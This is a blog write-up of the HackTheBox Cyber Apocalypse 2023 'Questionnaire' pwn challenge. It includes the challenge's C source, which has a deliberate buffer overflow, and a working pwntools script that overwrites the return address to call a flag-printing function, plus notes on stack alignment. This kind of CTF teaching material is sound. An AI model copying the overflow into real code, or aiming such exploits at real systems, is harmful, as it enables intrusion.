[HTB Cyber Apocalypse 2023][Pwn] Questionnaire

Fnnnr
4 min readMar 27, 2023

--

This series is a write-up(s) for PWN challenges from Cyber Apocalypse 2023 hold by HackTheBox

Questionnaire — Very Easy (300pts)

First of all, let’s check the security measures on the binary:


> checksec ./test

[*] '/home/kali/HTB/ctf/pwn/Questionnaire_pwned/test'
Arch: amd64–64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

So, there is NX (No-eXecute) flag. That means the stack will not be executable.

Let’s run the binary and see what it does:


> ./test

Enter payload here: aaa

It asks for the payload and does not do anything.
Next, let’s check for the symbols and strings in the binary:


> rabin2 -is ./test | grep -iE FUNC

1 0x00000000 GLOBAL FUNC __libc_start_main
2 0x00401060 GLOBAL FUNC system
3 0x00401070 GLOBAL FUNC fgets
5 0x00401080 GLOBAL FUNC fwrite
4 0x000010d0 0x004010d0 LOCAL FUNC 0 deregister_tm_clones
5 0x00001100 0x00401100 LOCAL FUNC 0 register_tm_clones
6 0x00001140 0x00401140 LOCAL FUNC 0 __do_global_dtors_aux
9 0x00001170 0x00401170 LOCAL FUNC 0 frame_dummy
21 0x00001190 0x00401190 GLOBAL FUNC 106 vuln
24 0x00001210 0x00401210 GLOBAL FUNC 0 _fini
25 0x00001176 0x00401176 GLOBAL FUNC 26 gg
33 0x000010c0 0x004010c0 GLOBAL FUNC 5 _dl_relocate_static_pie
34 0x00001090 0x00401090 GLOBAL FUNC 38 _start
36 0x000011fa 0x004011fa GLOBAL FUNC 21 main
39 0x00001000 0x00401000 GLOBAL FUNC 0 _init
1 — — — — — 0x00000000 GLOBAL FUNC 16 imp.__libc_start_main
2 0x00001060 0x00401060 GLOBAL FUNC 16 imp.system
3 0x00001070 0x00401070 GLOBAL FUNC 16 imp.fgets
5 0x00001080 0x00401080 GLOBAL FUNC 16 imp.fwrite

There is vuln function and gg function:

> rabin2 -z ./test  

[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x00002004 0x00402004 12 13 .rodata ascii cat flag.txt
1 0x00002011 0x00402011 21 22 .rodata ascii \nEnter payload here:

The challenge already give us the source code in test.c file. Its content is:

#include <stdio.h>
#include <stdlib.h>

/*
This is not the challenge, just a template to answer the questions.
To get the flag, answer the questions.
There is no bug in the questionnaire.
*/

void gg(){
system("cat flag.txt");
}

void vuln(){
char buffer[0x20] = {0};
fprintf(stdout, "\nEnter payload here: ");
fgets(buffer, 0x100, stdin);
}

void main(){
vuln();
}

The key points are:

  • we need to call gg() for the flag
  • vuln() holds main logic
  • vuln() has obvious BOF where it recieves 0x100 bytes but the size of variable is only 0x20 bytes

With a quick look, we can easily say that we need a payload of size 0x28 to overwrite return address (0x28 comes from 0x20 for variable and 0x8 for rbp)
Let’s write an exploit script:

from pwn import *
import sys
import re
filename = "./test"

def get_flag(text,pattern=r'HTB\{.*?\}'):
if type(text) == bytes:
text = text.decode()
flag = (re.search(pattern,text)).group(0)
success(flag)
return flag
def get_func(func_name,in_elf=None):
if not in_elf:
global elf
in_elf = elf
addr = in_elf.symbols[func_name]
info(f"{func_name}: %#x",addr)
return addr
elf = ELF(filename)
context.binary = elf.path
if args['DEBUG']:
context.log_level = 'DEBUG'

if args['REMOTE']:
p = remote(sys.argv[1],sys.argv[2])
else:
p = process(elf.path)
if args['GDB']:
gdb.attach(p,'''
''')
rop = ROP(elf.path)
ret = rop.find_gadget(["ret"]).address
offset = 0x20 + 0x8
eip = get_func("gg",elf)

payload = flat([{offset:ret},eip])
p.sendline(payload)
o = p.recvall()
flag = get_flag(o)
with open('exploit.txt','wb') as f:
f.write(payload)

The exploit code I used is somewhat a modified version from this template: https://github.com/io12/pwninit

Bonus

From the exploit code, I have add a ROP for ret.

This is because of the stack alignment when calling system().

What it means is that, if the rsp at the time of calling system() (or some other function) is not divisible by 16 (not 16-byte aligned), the program will crash.
Which, when we send an exploit without ret, the stack at the time is ending with 0x8:

stack not 16-byte aligned at time of calling system()
RSP is not 16-byte aligned at time of calling system()

Which is not 16-byte aligned:

pwndbg> p/x (int)$rsp & 0xF
$3 = 0x8

By adding additional ret on to the stack, we are adding 0x8 byte to the stack making it aligns to 16-byte:

Stack address is 16-byte aligned
RSP is 16-byte aligned

When we run the exploit, we will get the flag:

Run the exploit to get flag.txt
Run the exploit for flag

More on this: https://tc.gts3.org/cs6265/2021/tut/tut06-02-advrop.html#tips-on-handling-stack-alignment-issues

--

--

Fnnnr

Currently a penetration tester. Interested in binary exploit and RE.